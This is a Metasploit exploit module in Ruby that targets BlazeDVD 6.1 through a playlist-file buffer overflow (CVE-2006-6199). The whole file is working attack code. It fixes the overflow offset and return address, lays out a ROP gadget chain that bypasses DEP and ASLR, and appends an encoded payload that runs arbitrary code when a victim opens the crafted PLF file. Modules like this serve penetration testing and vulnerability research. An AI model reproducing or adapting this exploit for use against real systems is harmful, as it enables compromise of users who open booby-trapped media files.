require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass',
'Description' => %q{
This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module
will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of
specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic',
'Craig Freyman @cd1zz',
],
'References' =>
[
[ 'OSVDB', '30770' ],
[ 'CVE', '2006-6199' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6217/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13905/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9329/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/16618/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Targets' =>
[
[ 'win',
{
'Ret' => 0x6030ef6c,
'Offset' => 872
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 10 2008',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),], self.class)
end
def create_rop_chain()
rop_gadgets =
[
0x640258bf,
0x10011108,
0x6033d8be,
0x60327f7f,
0x616069a1,
0x60335f98,
0xfffffdff,
0x6404c4c3,
0x64016676,
0x6410948f,
0xffffffc0,
0x6033b0eb,
0x61608ba2,
0x6033d975,
0x6411c001,
0x6410a85d,
0x6160b805,
0x6402c108,
0x90909090,
0x6033d886,
].flatten.pack("V*")
return rop_gadgets
end
def exploit
rop_chain = create_rop_chain()
stack_adjust = "\x81\xc4\x24\xfa\xff\xff"
buf = ''
buf << make_nops(target['Offset'])
buf << [target.ret].pack('V')
buf << make_nops(8)
buf << rop_chain
buf << stack_adjust
buf << payload.encoded
buf << make_nops(5000 - buf.length)
file_create(buf)
end
end